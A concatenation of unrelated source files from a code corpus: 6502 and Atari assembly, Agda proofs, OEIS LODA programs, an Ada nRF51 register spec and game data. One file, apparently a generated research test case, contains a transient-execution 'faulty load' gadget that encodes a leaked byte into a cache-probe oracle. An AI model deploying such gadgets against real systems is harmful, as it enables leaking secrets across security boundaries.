sta var_controller_b_active controller_read_down_pressed: tya and #DOWN bne controller_read_down_not_pressed lda var_controller_down_active beq controller_read_down_not_pressed sta var_controller_down_pressed jmp controller_read_left_pressed controller_read_down_not_pressed: lda #0 sta var_controller_down_pressed controller_read_left_pressed: tya and #LEFT bne controller_read_left_not_pressed lda var_controller_left_active beq controller_read_left_not_pressed sta var_controller_left_pressed jmp controller_read_up_pressed controller_read_left_not_pressed: lda #0 sta var_controller_left_pressed controller_read_up_pressed: tya and #UP bne controller_read_up_not_pressed lda var_controller_up_active beq controller_read_up_not_pressed sta var_controller_up_pressed jmp controller_read_right_pressed controller_read_up_not_pressed: lda #0 sta var_controller_up_pressed controller_read_right_pressed: tya and #RIGHT bne controller_read_right_not_pressed lda var_controller_right_active beq controller_read_right_not_pressed sta var_controller_right_pressed jmp controller_read_a_pressed controller_read_right_not_pressed: lda #0 sta var_controller_right_pressed controller_read_a_pressed: tya and #A bne controller_read_a_not_pressed lda var_controller_a_active beq controller_read_a_not_pressed sta var_controller_a_pressed jmp controller_read_b_pressed controller_read_a_not_pressed: lda #0 sta var_controller_a_pressed controller_read_b_pressed: tya and #B bne controller_read_b_not_pressed lda var_controller_b_active beq controller_read_b_not_pressed sta var_controller_b_pressed jmp controller_read_break controller_read_b_not_pressed: lda #0 sta var_controller_b_pressed controller_read_break: ; Save current controller state stx var_controller ply plx pla rts ;/////////////////////////////////////////////////////////////////////// lcd_init: pha ; Set all pins of port B to output lda #%11111111 sta DDRB lda #DISABLED sta PORTB ; Extended instruction set lda #%00100001 jsr lcd_command ; Contrast lda #%10110101 jsr lcd_command ; Bias lda #%00010100 jsr lcd_command ; Basic nstruction Set lda #%00100000 jsr lcd_command ; Display control lda #%00001100 jsr lcd_command pla rts ;/////////////////////////////////////////////////////////////////////// lcd_clear: pha phx phy ; Set lcd x address to zero lda #%10000000 jsr lcd_command ; Select lcd y address lda #%01000000 jsr lcd_command ; Perform a total of 504 (6 x 84) data write operations ; to clear the entire lcd screen ldx #255 ldy #249 lcd_clear_loop_x: lda #0 jsr lcd_data dex bne lcd_clear_loop_x lcd_clear_loop_y: lda #0 jsr lcd_data dey bne lcd_clear_loop_y ply plx pla rts ;/////////////////////////////////////////////////////////////////////// lcd_command: pha phx phy ldx #(COMMAND | DISABLED) stx PORTB ldx #(COMMAND) stx PORTB clc ldy #8 lcd_command_loop: rol bcs lcd_command_loop_high lcd_command_loop_low: ldx #(COMMAND | LOW) stx PORTB ldx #(COMMAND | LOW | TICK) stx PORTB jmp lcd_command_loop_break lcd_command_loop_high: ldx #(COMMAND | HIGH) stx PORTB ldx #(COMMAND | HIGH | TICK) stx PORTB lcd_command_loop_break: dey bne lcd_command_loop ldx #(COMMAND | DISABLED) stx PORTB ply plx pla rts ;/////////////////////////////////////////////////////////////////////// lcd_data: pha phx phy ldx #(DATA | DISABLED) stx PORTB ldx #(DATA) stx PORTB clc ldy #8 lcd_data_loop: rol bcs lcd_data_loop_high lcd_data_loop_low: ldx #(DATA | LOW) stx PORTB ldx #(DATA | LOW | TICK) stx PORTB jmp lcd_data_loop_break lcd_data_loop_high: ldx #(DATA | HIGH) stx PORTB ldx #(DATA | HIGH | TICK) stx PORTB lcd_data_loop_break: dey bne lcd_data_loop ldx #(DATA | DISABLED) stx PORTB ply plx pla rts ;/////////////////////////////////////////////////////////////////////// delay: phx phy ldx #255 ldy #40 delay_loop: dex bne delay_loop dey bne delay_loop ply plx rts ;/////////////////////////////////////////////////////////////////////// *=$fffc !word main !word irq
test/Fail/Issue829.agda
shlevy/agda
1,989
4722
<filename>test/Fail/Issue829.agda -- {-# OPTIONS -v tc.cover.splittree:10 -v tc.cc:30 #-} module Issue829 where record ⊤ : Set where constructor tt data ⊥ : Set where postulate P : ⊥ → Set data D : (A : Set) → A → Set where c : ⊥ → (x : ⊤) → D ⊤ x f : {A : Set} {x : A} → D A x → ⊥ f (c () .tt) g : (x : ⊥) → P x g () h : (A : Set) (x : A) (d : D A x) → P (f d) h .⊤ tt (c x .tt) = g x -- Bug.agda:21,21-24 -- Incomplete pattern matching when applying Bug.f -- when checking that the expression g x has type P (f (c x tt)) -- Agda 2.3.2 gives the following more reasonable error message: -- -- Bug.agda:21,21-24 -- x != f (c x tt) of type ⊥ -- when checking that the expression g x has type P (f (c x tt)) -- This regression is caused by the patch "Fixed issue 827 : incomplete -- case tree caused by record pattern translation".
oeis/267/A267649.asm
neoneye/loda-programs
11
87928
<gh_stars>10-100 ; A267649: a(1) = a(2) = 2 then a(n) = 4 for n>2. ; Submitted by <NAME> ; 2,2,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4 div $0,2 cmp $0,0 gcd $0,3 add $0,1
aux/2600/red_line/source.asm
6502ts/6502.ts
49
80831
; thin red line by <NAME> processor 6502 include ../vcs.h org $F000 Start SEI CLD LDX #$FF TXS LDA #0 ClearMem STA 0,X DEX BNE ClearMem LDA #$00 STA COLUBK LDA #33 STA COLUP0 MainLoop LDA #2 STA VSYNC STA WSYNC STA WSYNC STA WSYNC LDA #43 STA TIM64T LDA #0 STA VSYNC WaitForVblankEnd LDA INTIM BNE WaitForVblankEnd LDY #191 STA WSYNC STA VBLANK LDA #$F0 STA HMM0 STA WSYNC STA HMOVE ScanLoop STA WSYNC LDA #2 STA ENAM0 DEY BNE ScanLoop LDA #2 STA WSYNC STA VBLANK LDX #30 OverScanWait STA WSYNC DEX BNE OverScanWait JMP MainLoop org $FFFC .word Start .word Start
agda-stdlib-0.9/src/Data/String/Core.agda
qwe2/try-agda
1
11231
------------------------------------------------------------------------ -- The Agda standard library -- -- Core definitions for Strings ------------------------------------------------------------------------ module Data.String.Core where open import Data.List using (List) open import Data.Bool using (Bool; true; false) open import Data.Char.Core using (Char) ------------------------------------------------------------------------ -- The type postulate String : Set {-# BUILTIN STRING String #-} {-# COMPILED_TYPE String String #-} ------------------------------------------------------------------------ -- Primitive operations primitive primStringAppend : String → String → String primStringToList : String → List Char primStringFromList : List Char → String primStringEquality : String → String → Bool primShowString : String → String -- Here instead of Data.Char.Core to avoid an import cycle primShowChar : Char → String
arch/ARM/Nordic/svd/nrf51/nrf_svd-ccm.ads
rocher/Ada_Drivers_Library
192
3672
-- Copyright (c) 2013, Nordic Semiconductor ASA -- All rights reserved. -- -- Redistribution and use in source and binary forms, with or without -- modification, are permitted provided that the following conditions are met: -- -- * Redistributions of source code must retain the above copyright notice, this -- list of conditions and the following disclaimer. -- -- * Redistributions in binary form must reproduce the above copyright notice, -- this list of conditions and the following disclaimer in the documentation -- and/or other materials provided with the distribution. -- -- * Neither the name of Nordic Semiconductor ASA nor the names of its -- contributors may be used to endorse or promote products derived from -- this software without specific prior written permission. -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -- DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -- FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -- DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -- SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -- CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -- OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- This spec has been automatically generated from nrf51.svd pragma Restrictions (No_Elaboration_Code); pragma Ada_2012; pragma Style_Checks (Off); with HAL; with System; package NRF_SVD.CCM is pragma Preelaborate; --------------- -- Registers -- --------------- -- Shortcut between ENDKSGEN event and CRYPT task. type SHORTS_ENDKSGEN_CRYPT_Field is (-- Shortcut disabled. Disabled, -- Shortcut enabled. Enabled) with Size => 1; for SHORTS_ENDKSGEN_CRYPT_Field use (Disabled => 0, Enabled => 1); -- Shortcuts for the CCM. type SHORTS_Register is record -- Shortcut between ENDKSGEN event and CRYPT task. ENDKSGEN_CRYPT : SHORTS_ENDKSGEN_CRYPT_Field := NRF_SVD.CCM.Disabled; -- unspecified Reserved_1_31 : HAL.UInt31 := 16#0#; end record with Volatile_Full_Access, Object_Size => 32, Bit_Order => System.Low_Order_First; for SHORTS_Register use record ENDKSGEN_CRYPT at 0 range 0 .. 0; Reserved_1_31 at 0 range 1 .. 31; end record; -- Enable interrupt on ENDKSGEN event. type INTENSET_ENDKSGEN_Field is (-- Interrupt disabled. Disabled, -- Interrupt enabled. Enabled) with Size => 1; for INTENSET_ENDKSGEN_Field use (Disabled => 0, Enabled => 1); -- Enable interrupt on ENDKSGEN event. type INTENSET_ENDKSGEN_Field_1 is (-- Reset value for the field Intenset_Endksgen_Field_Reset, -- Enable interrupt on write. Set) with Size => 1; for INTENSET_ENDKSGEN_Field_1 use (Intenset_Endksgen_Field_Reset => 0, Set => 1); -- Enable interrupt on ENDCRYPT event. type INTENSET_ENDCRYPT_Field is (-- Interrupt disabled. Disabled, -- Interrupt enabled. Enabled) with Size => 1; for INTENSET_ENDCRYPT_Field use (Disabled => 0, Enabled => 1); -- Enable interrupt on ENDCRYPT event. type INTENSET_ENDCRYPT_Field_1 is (-- Reset value for the field Intenset_Endcrypt_Field_Reset, -- Enable interrupt on write. Set) with Size => 1; for INTENSET_ENDCRYPT_Field_1 use (Intenset_Endcrypt_Field_Reset => 0, Set => 1); -- Enable interrupt on ERROR event. type INTENSET_ERROR_Field is (-- Interrupt disabled. Disabled, -- Interrupt enabled. Enabled) with Size => 1; for INTENSET_ERROR_Field use (Disabled => 0, Enabled => 1); -- Enable interrupt on ERROR event. type INTENSET_ERROR_Field_1 is (-- Reset value for the field Intenset_Error_Field_Reset, -- Enable interrupt on write. Set) with Size => 1; for INTENSET_ERROR_Field_1 use (Intenset_Error_Field_Reset => 0, Set => 1); -- Interrupt enable set register. type INTENSET_Register is record -- Enable interrupt on ENDKSGEN event. ENDKSGEN : INTENSET_ENDKSGEN_Field_1 := Intenset_Endksgen_Field_Reset; -- Enable interrupt on ENDCRYPT event. ENDCRYPT : INTENSET_ENDCRYPT_Field_1 := Intenset_Endcrypt_Field_Reset; -- Enable interrupt on ERROR event. ERROR : INTENSET_ERROR_Field_1 := Intenset_Error_Field_Reset; -- unspecified Reserved_3_31 : HAL.UInt29 := 16#0#; end record with Volatile_Full_Access, Object_Size => 32, Bit_Order => System.Low_Order_First; for INTENSET_Register use record ENDKSGEN at 0 range 0 .. 0; ENDCRYPT at 0 range 1 .. 1; ERROR at 0 range 2 .. 2; Reserved_3_31 at 0 range 3 .. 31; end record; -- Disable interrupt on ENDKSGEN event. type INTENCLR_ENDKSGEN_Field is (-- Interrupt disabled. Disabled, -- Interrupt enabled. Enabled) with Size => 1; for INTENCLR_ENDKSGEN_Field use (Disabled => 0, Enabled => 1); -- Disable interrupt on ENDKSGEN event. type INTENCLR_ENDKSGEN_Field_1 is (-- Reset value for the field Intenclr_Endksgen_Field_Reset, -- Disable interrupt on write. Clear) with Size => 1; for INTENCLR_ENDKSGEN_Field_1 use (Intenclr_Endksgen_Field_Reset => 0, Clear => 1); -- Disable interrupt on ENDCRYPT event. type INTENCLR_ENDCRYPT_Field is (-- Interrupt disabled. Disabled, -- Interrupt enabled. Enabled) with Size => 1; for INTENCLR_ENDCRYPT_Field use (Disabled => 0, Enabled => 1); -- Disable interrupt on ENDCRYPT event. type INTENCLR_ENDCRYPT_Field_1 is (-- Reset value for the field Intenclr_Endcrypt_Field_Reset, -- Disable interrupt on write. Clear) with Size => 1; for INTENCLR_ENDCRYPT_Field_1 use (Intenclr_Endcrypt_Field_Reset => 0, Clear => 1); -- Disable interrupt on ERROR event. type INTENCLR_ERROR_Field is (-- Interrupt disabled. Disabled, -- Interrupt enabled. Enabled) with Size => 1; for INTENCLR_ERROR_Field use (Disabled => 0, Enabled => 1); -- Disable interrupt on ERROR event. type INTENCLR_ERROR_Field_1 is (-- Reset value for the field Intenclr_Error_Field_Reset, -- Disable interrupt on write. Clear) with Size => 1; for INTENCLR_ERROR_Field_1 use (Intenclr_Error_Field_Reset => 0, Clear => 1); -- Interrupt enable clear register. type INTENCLR_Register is record -- Disable interrupt on ENDKSGEN event. ENDKSGEN : INTENCLR_ENDKSGEN_Field_1 := Intenclr_Endksgen_Field_Reset; -- Disable interrupt on ENDCRYPT event. ENDCRYPT : INTENCLR_ENDCRYPT_Field_1 := Intenclr_Endcrypt_Field_Reset; -- Disable interrupt on ERROR event. ERROR : INTENCLR_ERROR_Field_1 := Intenclr_Error_Field_Reset; -- unspecified Reserved_3_31 : HAL.UInt29 := 16#0#; end record with Volatile_Full_Access, Object_Size => 32, Bit_Order => System.Low_Order_First; for INTENCLR_Register use record ENDKSGEN at 0 range 0 .. 0; ENDCRYPT at 0 range 1 .. 1; ERROR at 0 range 2 .. 2; Reserved_3_31 at 0 range 3 .. 31; end record; -- Result of the MIC check performed during the previous CCM RX STARTCRYPT type MICSTATUS_MICSTATUS_Field is (-- MIC check failed. Checkfailed, -- MIC check passed. Checkpassed) with Size => 1; for MICSTATUS_MICSTATUS_Field use (Checkfailed => 0, Checkpassed => 1); -- CCM RX MIC check result. type MICSTATUS_Register is record -- Read-only. Result of the MIC check performed during the previous CCM -- RX STARTCRYPT MICSTATUS : MICSTATUS_MICSTATUS_Field; -- unspecified Reserved_1_31 : HAL.UInt31; end record with Volatile_Full_Access, Object_Size => 32, Bit_Order => System.Low_Order_First; for MICSTATUS_Register use record MICSTATUS at 0 range 0 .. 0; Reserved_1_31 at 0 range 1 .. 31; end record; -- CCM enable. type ENABLE_ENABLE_Field is (-- CCM is disabled. Disabled, -- CCM is enabled. Enabled) with Size => 2; for ENABLE_ENABLE_Field use (Disabled => 0, Enabled => 2); -- CCM enable. type ENABLE_Register is record -- CCM enable. ENABLE : ENABLE_ENABLE_Field := NRF_SVD.CCM.Disabled; -- unspecified Reserved_2_31 : HAL.UInt30 := 16#0#; end record with Volatile_Full_Access, Object_Size => 32, Bit_Order => System.Low_Order_First; for ENABLE_Register use record ENABLE at 0 range 0 .. 1; Reserved_2_31 at 0 range 2 .. 31; end record; -- CCM mode operation. type MODE_MODE_Field is (-- CCM mode TX Encryption, -- CCM mode TX Decryption) with Size => 1; for MODE_MODE_Field use (Encryption => 0, Decryption => 1); -- Operation mode. type MODE_Register is record -- CCM mode operation. MODE : MODE_MODE_Field := NRF_SVD.CCM.Decryption; -- unspecified Reserved_1_31 : HAL.UInt31 := 16#0#; end record with Volatile_Full_Access, Object_Size => 32, Bit_Order => System.Low_Order_First; for MODE_Register use record MODE at 0 range 0 .. 0; Reserved_1_31 at 0 range 1 .. 31; end record; -- Peripheral power control. type POWER_POWER_Field is (-- Module power disabled. Disabled, -- Module power enabled. Enabled) with Size => 1; for POWER_POWER_Field use (Disabled => 0, Enabled => 1); -- Peripheral power control. type POWER_Register is record -- Peripheral power control. POWER : POWER_POWER_Field := NRF_SVD.CCM.Disabled; -- unspecified Reserved_1_31 : HAL.UInt31 := 16#0#; end record with Volatile_Full_Access, Object_Size => 32, Bit_Order => System.Low_Order_First; for POWER_Register use record POWER at 0 range 0 .. 0; Reserved_1_31 at 0 range 1 .. 31; end record; ----------------- -- Peripherals -- ----------------- -- AES CCM Mode Encryption. type CCM_Peripheral is record -- Start generation of key-stream. This operation will stop by itself -- when completed. TASKS_KSGEN : aliased HAL.UInt32; -- Start encrypt/decrypt. This operation will stop by itself when -- completed. TASKS_CRYPT : aliased HAL.UInt32; -- Stop encrypt/decrypt. TASKS_STOP : aliased HAL.UInt32; -- Keystream generation completed. EVENTS_ENDKSGEN : aliased HAL.UInt32; -- Encrypt/decrypt completed. EVENTS_ENDCRYPT : aliased HAL.UInt32; -- Error happened. EVENTS_ERROR : aliased HAL.UInt32; -- Shortcuts for the CCM. SHORTS : aliased SHORTS_Register; -- Interrupt enable set register. INTENSET : aliased INTENSET_Register; -- Interrupt enable clear register. INTENCLR : aliased INTENCLR_Register; -- CCM RX MIC check result. MICSTATUS : aliased MICSTATUS_Register; -- CCM enable. ENABLE : aliased ENABLE_Register; -- Operation mode. MODE : aliased MODE_Register; -- Pointer to a data structure holding AES key and NONCE vector. CNFPTR : aliased HAL.UInt32; -- Pointer to the input packet. INPTR : aliased HAL.UInt32; -- Pointer to the output packet. OUTPTR : aliased HAL.UInt32; -- Pointer to a "scratch" data area used for temporary storage during -- resolution. A minimum of 43 bytes must be reserved. SCRATCHPTR : aliased HAL.UInt32; -- Peripheral power control. POWER : aliased POWER_Register; end record with Volatile; for CCM_Peripheral use record TASKS_KSGEN at 16#0# range 0 .. 31; TASKS_CRYPT at 16#4# range 0 .. 31; TASKS_STOP at 16#8# range 0 .. 31; EVENTS_ENDKSGEN at 16#100# range 0 .. 31; EVENTS_ENDCRYPT at 16#104# range 0 .. 31; EVENTS_ERROR at 16#108# range 0 .. 31; SHORTS at 16#200# range 0 .. 31; INTENSET at 16#304# range 0 .. 31; INTENCLR at 16#308# range 0 .. 31; MICSTATUS at 16#400# range 0 .. 31; ENABLE at 16#500# range 0 .. 31; MODE at 16#504# range 0 .. 31; CNFPTR at 16#508# range 0 .. 31; INPTR at 16#50C# range 0 .. 31; OUTPTR at 16#510# range 0 .. 31; SCRATCHPTR at 16#514# range 0 .. 31; POWER at 16#FFC# range 0 .. 31; end record; -- AES CCM Mode Encryption. CCM_Periph : aliased CCM_Peripheral with Import, Address => CCM_Base; end NRF_SVD.CCM;
day03/nasmfunc.asm
itiB/hariboteOS_30days
1
82365
<gh_stars>1-10 ; nasmfunc GLOBAL io_hlt section .text ;オブジェクトファイルではこれを書いてからプログラムを書く io_hlt: ;void io_hlt(void); HLT RET
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_19.asm
ljhsiun2/medusa
9
89396
<reponame>ljhsiun2/medusa<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %rbp push %rcx push %rdi push %rsi lea addresses_UC_ht+0x15952, %rsi lea addresses_normal_ht+0x4d02, %rdi clflush (%rsi) clflush (%rdi) nop nop nop sub %r11, %r11 mov $55, %rcx rep movsb nop nop inc %r12 lea addresses_A_ht+0xcdc2, %rbp nop nop nop nop xor %rcx, %rcx movups (%rbp), %xmm1 vpextrq $0, %xmm1, %r11 nop nop nop sub $57472, %rdi lea addresses_UC_ht+0xa3c2, %rsi lea addresses_A_ht+0xbac2, %rdi clflush (%rdi) nop nop nop cmp $50690, %r11 mov $63, %rcx rep movsb nop nop nop add $28791, %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %rbx push %rdi // Faulty Load lea addresses_normal+0x75c2, %r10 nop and $41847, %r11 mov (%r10), %rdi lea oracles, %r11 and $0xff, %rdi shlq $12, %rdi mov (%r11,%rdi,1), %rdi pop %rdi pop %rbx pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
programs/oeis/028/A028346.asm
jmorken/loda
1
101466
; A028346: Expansion of 1/((1-x)^4*(1-x^2)^2). ; 1,4,12,28,58,108,188,308,483,728,1064,1512,2100,2856,3816,5016,6501,8316,10516,13156,16302,20020,24388,29484,35399,42224,50064,59024,69224,80784,93840,108528,125001,143412,163932,186732,212002,239932,270732,304612,341803 mov $15,$0 mov $17,$0 add $17,1 lpb $17 clr $0,15 mov $0,$15 sub $17,1 sub $0,$17 mov $12,$0 mov $14,$0 add $14,1 lpb $14 clr $0,12 mov $0,$12 sub $14,1 sub $0,$14 mov $9,$0 mov $11,$0 add $11,1 lpb $11 mov $0,$9 sub $11,1 sub $0,$11 mov $6,$0 add $6,4 div $6,2 bin $6,2 add $10,$6 lpe add $13,$10 lpe add $16,$13 lpe mov $1,$16
oeis/062/A062882.asm
neoneye/loda-programs
11
177696
; A062882: a(n) = (1 - 2*cos(Pi/9))^n + (1 + 2*cos(Pi*2/9))^n + (1 + 2*cos(Pi*4/9))^n. ; Submitted by <NAME> ; 3,9,18,45,108,270,675,1701,4293,10854,27459,69498,175932,445419,1127763,2855493,7230222,18307377,46355652,117376290,297206739,752553261,1905530913,4824972522,12217257783,30935180610,78330624264,198340099443,502214756499,1271652396705,3219936891786,8153166405861,20644542027468,52273815407046,132361947003555,335152214928261,848635198563645,2148819754680270,5441002619256027,13777102262077146,34884847522190628,88331534708803803,223663297340179971,566335349453968029,1434011444235492678 add $0,2 mov $4,1 lpb $0 sub $0,1 add $2,$1 add $2,$4 mov $1,$2 mov $2,$3 mul $2,4 sub $2,2 sub $4,$3 add $3,$1 lpe mov $0,$3 mul $0,3
oeis/315/A315470.asm
neoneye/loda-programs
11
240172
<reponame>neoneye/loda-programs<filename>oeis/315/A315470.asm ; A315470: Coordination sequence Gal.6.253.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by <NAME>(s1) ; 1,6,11,16,21,26,32,37,42,47,52,58,64,69,74,79,84,90,95,100,105,110,116,122,127,132,137,142,148,153,158,163,168,174,180,185,190,195,200,206,211,216,221,226,232,238,243,248,253,258 mul $0,4 mov $3,$0 mul $0,3 sub $0,1 div $0,11 add $0,1 mov $2,$3 mul $2,23 div $2,22 add $2,$0 mov $0,$2
agda/TreeSort/Impl1/Correctness/Permutation.agda
bgbianchi/sorting
6
6972
open import Relation.Binary.Core module TreeSort.Impl1.Correctness.Permutation {A : Set} (_≤_ : A → A → Set) (tot≤ : Total _≤_) where open import BTree {A} open import Data.List open import Data.Sum open import List.Permutation.Base A open import List.Permutation.Base.Concatenation A open import List.Permutation.Base.Equivalence A open import TreeSort.Impl1 _≤_ tot≤ lemma-++∼ : {x : A}{xs ys : List A} → (x ∷ (xs ++ ys)) ∼ (xs ++ (x ∷ ys)) lemma-++∼ {xs = xs} = ∼x /head (lemma++/l {xs = xs} /head) refl∼ lemma-flatten∼ : (x : A) → (t : BTree) → (x ∷ flatten t) ∼ flatten (insert x t) lemma-flatten∼ x leaf = ∼x /head /head ∼[] lemma-flatten∼ x (node y l r) with tot≤ x y ... | inj₁ x≤y = lemma++∼r (lemma-flatten∼ x l) ... | inj₂ y≤x = trans∼ (lemma-++∼ {xs = flatten l}) (lemma++∼l {xs = flatten l} (∼x (/tail /head) /head (lemma-flatten∼ x r))) theorem-treeSort∼ : (xs : List A) → xs ∼ (flatten (treeSort xs)) theorem-treeSort∼ [] = ∼[] theorem-treeSort∼ (x ∷ xs) = trans∼ (∼x /head /head (theorem-treeSort∼ xs)) (lemma-flatten∼ x (treeSort xs))
CDROOT/COBALT/SOURCE/SYSLINUX/sample/comecho.asm
Michael2626/Cobalt
35
98332
; ; Simple COMBOOT program that just prints out its own command line. ; This also works in DOS. ; org 100h _start: xor cx,cx mov cl,[80h] ; Command line len mov si,81h ; Command line mov dl,"<" mov ah,02h int 21h .writechar: lodsb mov dl,al mov ah,02h int 21h loop .writechar mov dx,end_str mov ah,09h int 21h ; Exit with near return, INT 20h, or INT 21h AX=4C00h ret end_str db ">", 0Dh, 0Ah, "$"
astro_ship_shield_data.asm
nealvis/astroblast
0
86402
<gh_stars>0 ////////////////////////////////////////////////////////////////////////////// // astro_ship_shield_data.asm // Copyright(c) 2021 <NAME>. // License: MIT. See LICENSE file in root directory. ////////////////////////////////////////////////////////////////////////////// // contains the data that is needed by astro_ship_shield_code.asm // This includes some variables that can be tested by the main engine // to determine what to do based on shield state // ////////////////////////////////////////////////////////////////////////////// #importonce #import "astro_sprite_data.asm" ////////////////////////////////////////////////////////////////////////////// // Constants // number of frames the shield stays on .const SHIP_SHIELD_FRAMES = 60 .const SHIP_SHIELD_ANIMATION_FRAMES = 5 // Constants end ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // internal variables shield_sprite_data_ptr_table: .word sprite_shield_00 .word sprite_shield_01 .word sprite_shield_02 .word sprite_shield_03 .word sprite_shield_04 // internal variables end ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // exposed variables, for engine to get state of ship death // Will be zero when ship is not shielded or // the number of frames remaining in the effect if it is active ship_1_shield_count: .byte 0 ship_2_shield_count: .byte 0 // exposed variables end //////////////////////////////////////////////////////////////////////////////
